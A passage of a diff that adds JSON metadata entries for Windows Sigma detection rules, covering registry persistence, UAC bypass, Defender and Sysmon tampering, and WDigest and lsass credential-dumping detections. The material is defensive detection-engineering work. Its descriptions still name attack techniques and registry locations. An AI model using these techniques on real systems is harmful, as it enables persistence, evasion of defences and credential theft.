"refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_special_accounts.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.002" + ], + "creation_date": "2022/07/12", + "filename": "registry_set_special_accounts.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", + "uuid": "0c93308a-3f1b-40a9-b649-57ea1a1c1d63", + "value": "Disable Windows Security Center Notifications", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/08/19", + "filename": "registry_set_suppress_defender_notifications.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes to the \"Default\" property for keys located in the \\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\ registry. Which might be used as a method of persistence\nThe entries found under App Paths are used primarily for the following purposes.\nFirst, to map an application's executable file name to that file's fully qualified path.\nSecond, to pre-pend information to the PATH environment variable on a per-application, per-process basis.\n", + "uuid": "707e097c-e20f-4f67-8807-1f72ff4500d6", + "value": "Suspicious Values In App Paths Default Property", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", + "https://docs.microsoft.com/en-us/windows/win32/shell/app-registration?redirectedfrom=MSDN", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_app_paths_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.012" + ], + "creation_date": "2022/08/10", + "filename": "registry_set_susp_app_paths_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate applications registering their binary from on of the suspicious locations mentioned above (tune it)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only", + "uuid": "34aa0252-6039-40ff-951f-939fd6ce47d8", + "value": "Suspicious Keyboard Layout Load", + "meta": { + "refs": [ + "https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index", + "https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_keyboard_layout_load.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2019/10/12", + "filename": "registry_set_susp_keyboard_layout_load.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Administrators or users that actually use the selected keyboard layouts (heavily depends on the organisation's user base)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious printer driver installation with an empty Manufacturer value", + "uuid": "e0813366-0407-449a-9869-a2db1119dc41", + "value": "Suspicious Printer Driver Empty Manufacturer", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1410545674773467140", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_printer_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1574", + "cve.2021.1675" + ], + "creation_date": "2020/07/01", + "filename": "registry_set_susp_printer_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Alerts on legitimate printer drivers that do not set any more details in the Manufacturer value" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder", + "uuid": "b7916c2a-fa2f-4795-9477-32b731f70f11", + "value": "Registry Persistence via Explorer Run Key", + "meta": { + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_reg_persist_explorer_run.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2018/07/18", + "filename": "registry_set_susp_reg_persist_explorer_run.yml", + "author": "Florian Roth, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious new RUN key element pointing to an executable in a suspicious folder", + "uuid": "02ee49e2-e294-4d0f-9278-f5b3212fc588", + "value": "New RUN Key Pointing to Suspicious Folder", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_run_key_img_folder.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2018/08/25", + "filename": "registry_set_susp_run_key_img_folder.yml", + "author": "Florian Roth, Markus Neis, Sander Wiebing", + "level": "high", + "falsepositive": [ + "Software using weird folders for updates" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders.\nBoth services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)\n", + "uuid": "f2485272-a156-4773-82d7-1d178bc4905b", + "value": "Suspicious Service Installed", + "meta": { + "refs": [ + "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_service_installed.yml" + ], + "tags": [ + "attack.t1562.001", + "attack.defense_evasion" + ], + "creation_date": "2019/04/08", + "filename": "registry_set_susp_service_installed.yml", + "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", + "level": "medium", + "falsepositive": [ + "Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it." + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect modification of the startup key to a path where a payload could be stored to be launched during startup", + "uuid": "9c226817-8dc9-46c2-a58d-66655aafd7dc", + "value": "Modify User Shell Folders Startup Value", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1547.001/T1547.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_user_shell_folders.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1547.001" + ], + "creation_date": "2022/10/01", + "filename": "registry_set_susp_user_shell_folders.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious", + "uuid": "4720b7df-40c3-48fd-bbdf-fd4b3c464f0d", + "value": "Scheduled TaskCache Change by Uncommon Program", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://labs.f-secure.com/blog/scheduled-task-tampering/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053", + "attack.t1053.005" + ], + "creation_date": "2021/06/18", + "filename": "registry_set_taskcache_entry.yml", + "author": "Syed Hasan (@syedhasan009)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects persistence method using windows telemetry", + "uuid": "73a883d0-0348-4be4-a8d8-51031c2564f8", + "value": "Registry Persistence Mechanism via Windows Telemetry", + "meta": { + "refs": [ + "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_telemetry_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.005" + ], + "creation_date": "2020/10/16", + "filename": "registry_set_telemetry_persistence.yml", + "author": "Lednyov Alexey, oscd.community", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", + "uuid": "a2863fbc-d5cb-48d5-83fb-d976d4b1743b", + "value": "RDP Sensitive Settings Changed", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", + "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112" + ], + "creation_date": "2022/09/29", + "filename": "registry_set_terminal_server_suspicious.yml", + "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", + "uuid": "3f6b7b62-61aa-45db-96bd-9c31b36b653c", + "value": "RDP Sensitive Settings Changed", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", + "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112" + ], + "creation_date": "2022/08/06", + "filename": "registry_set_terminal_server_tampering.yml", + "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nAdversaries may abuse time providers to execute DLLs when the system boots.\nThe Windows Time service (W32Time) enables time synchronization across and within domains.\n", + "uuid": "e88a6ddc-74f7-463b-9b26-f69fc0d2ce85", + "value": "Set TimeProviders DllName", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.003/T1547.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_timeproviders_dllname.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1547.003" + ], + "creation_date": "2022/06/19", + "filename": "registry_set_timeproviders_dllname.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect modification of TreatAs key to enable \"rundll32.exe -sta\" command", + "uuid": "dc5c24af-6995-49b2-86eb-a9ff62199e82", + "value": "COM Hijacking via TreatAs", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", + "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/08/28", + "filename": "registry_set_treatas_persistence.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects UAC bypass method using Windows event viewer", + "uuid": "7c81fec3-1c1d-43b0-996a-46753041b1b6", + "value": "UAC Bypass via Event Viewer", + "meta": { + "refs": [ + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ], + "creation_date": "2017/03/19", + "filename": "registry_set_uac_bypass_eventvwr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)", + "uuid": "5b872a46-3b90-45c1-8419-f675db8053aa", + "value": "UAC Bypass via Sdclt", + "meta": { + "refs": [ + "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ], + "creation_date": "2017/03/17", + "filename": "registry_set_uac_bypass_sdclt.yml", + "author": "Omer Yampel, Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", + "uuid": "6597be7b-ac61-4ac8-bef4-d3ec88174853", + "value": "UAC Bypass Abusing Winsat Path Parsing - Registry", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_winsat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "registry_set_uac_bypass_winsat.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", + "uuid": "5f9db380-ea57-4d1e-beab-8a2d33397e93", + "value": "UAC Bypass Using Windows Media Player - Registry", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_wmp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "registry_set_uac_bypass_wmp.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects VBScript content stored into registry keys as seen being used by UNC2452 group", + "uuid": "46490193-1b22-4c29-bdd6-5bf63907216f", + "value": "VBScript Payload Stored in Registry", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_vbs_payload_stored.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2021/03/05", + "filename": "registry_set_vbs_payload_stored.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.", + "uuid": "fc014922-5def-4da9-a0fc-28c973f41bfb", + "value": "Execution DLL of Choice Using WAB.EXE", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml", + "https://twitter.com/Hexacorn/status/991447379864932352", + "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/13", + "filename": "registry_set_wab_dllpath_reg_change.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to enable clear-text credentials", + "uuid": "d6a9b252-c666-4de6-8806-5561bbbd3bdc", + "value": "Wdigest Enable UseLogonCredential", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2019/09/12", + "filename": "registry_set_wdigest_enable_uselogoncredential.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when attackers or tools disable Windows Defender functionalities via the windows registry", + "uuid": "0eb46774-f1ab-4a74-8238-1155855f2263", + "value": "Disable Windows Defender Functionalities Via Registry Keys", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", + "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/01", + "filename": "registry_set_windows_defender_tamper.yml", + "author": "AlertIQ, J\u00e1n Tren\u010dansk\u00fd, frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the 'AllowMultipleTSSessions' value is enabled.\nWhich allows for multiple Remote Desktop connection sessions to be opened at once.\nThis is often used by attacker as a way to connect to an RDP session without disconnecting the other users\n", + "uuid": "f7997770-92c3-4ec9-b112-774c4ef96f96", + "value": "Winlogon AllowMultipleTSSessions Enable", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_allow_multiple_tssessions.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/09/09", + "filename": "registry_set_winlogon_allow_multiple_tssessions.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitmate use of the multi session functionality" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.\nWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\n", + "uuid": "bbf59793-6efb-4fa1-95ca-a7d288e52c88", + "value": "Winlogon Notify Key Logon Persistence", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md#atomic-test-3---winlogon-notify-key-logon-persistence---powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_notify_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.004" + ], + "creation_date": "2021/12/30", + "filename": "registry_set_winlogon_notify_key.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker adds a new \"DLLPathOverride\" value to the \"Natural Language\" key in order to achieve persistence which will get invoked by \"SearchIndexer.exe\" process", + "uuid": "a1b1fd53-9c4a-444c-bae0-34a330fc7aa8", + "value": "Add DLLPathOverride Entry For Persistence", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/naturallanguage6.html", + "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/regsitry_set_natural_language_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "regsitry_set_natural_language_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects Accessing to lsass.exe by Powershell", + "uuid": "3f07b9d1-2082-4c56-9277-613a621983cc", + "value": "Accessing WinAPI in PowerShell for Credentials Dumping", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2020/10/06", + "filename": "sysmon_accessing_winapi_in_powershell_credentials_dumping.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration", + "uuid": "8ac03a65-6c84-4116-acad-dc1558ff7a77", + "value": "Sysmon Configuration Change", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/01/12", + "filename": "sysmon_config_modification.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative action" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages", + "uuid": "815cd91b-7dbc-4247-841a-d7dd1392b0a8", + "value": "Sysmon Configuration Error", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ], + "creation_date": "2021/06/04", + "filename": "sysmon_config_modification_error.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate administrative action" + ], + "logsource.category": "sysmon_error", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to hide from Sysmon by disabling or stopping it", + "uuid": "1f2b5353-573f-4880-8e33-7d04dcf97744", + "value": "Sysmon Configuration Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ], + "creation_date": "2021/06/04", + "filename": "sysmon_config_modification_status.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate administrative action" + ], + "logsource.category": "sysmon_status", + "logsource.product": "windows" + } + }, + { + "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network and loading it for a DCOM InternetExplorer DLL Hijack scenario.", + "uuid": "e554f142-5cf3-4e55-ace9-a1b59e0def65", + "value": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_dcom_iertutil_dll_hijack.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1021.003" + ], + "creation_date": "2020/10/12", + "filename": "sysmon_dcom_iertutil_dll_hijack.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Triggers on any Sysmon file block executable event. Which should indicates a violation of the block policy set", + "uuid": "23b71bc5-953e-4971-be4c-c896cda73fc2", + "value": "Sysmon Blocked Executable", + "meta": { + "refs": [ + "https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_exe.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/16", + "filename": "sysmon_file_block_exe.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_block", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a memory process image does not match the disk image, indicative of process hollowing.", + "uuid": "c4b890e5-8d8c-4496-8c66-c805753817cd", + "value": "Sysmon Process Hollowing Detection", + "meta": { + "refs": [ + "https://twitter.com/SecurePeacock/status/1486054048390332423?s=20", + "https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-malware-process-tampering-attempts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_process_hollowing.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055.012" + ], + "creation_date": "2022/01/25", + "filename": "sysmon_process_hollowing.yml", + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Sittikorn S", + "level": "high", + "falsepositive": [ + "There are no known false positives at this time" + ], + "logsource.category": "process_tampering", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of WMI event subscription persistence method", + "uuid": "0f06a3a5-6a09-413f-8743-e6cf35561297", + "value": "WMI Event Subscription", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_subscription.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": "2019/01/12", + "filename": "sysmon_wmi_event_subscription.yml", + "author": "Tom Ueltschi (@c_APT_ure)", + "level": "medium", + "falsepositive": [ + "Exclude legitimate (vetted) use of WMI event subscription in your network" + ], + "logsource.category": "wmi_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious encoded payloads in WMI Event Consumers", + "uuid": "83844185-1c5b-45bc-bcf3-b5bf3084ca5b", + "value": "Suspicious Encoded Scripts in a WMI Consumer", + "meta": { + "refs": [ + "https://github.com/RiccardoAncarani/LiquidSnake", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_encoded_scripts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": 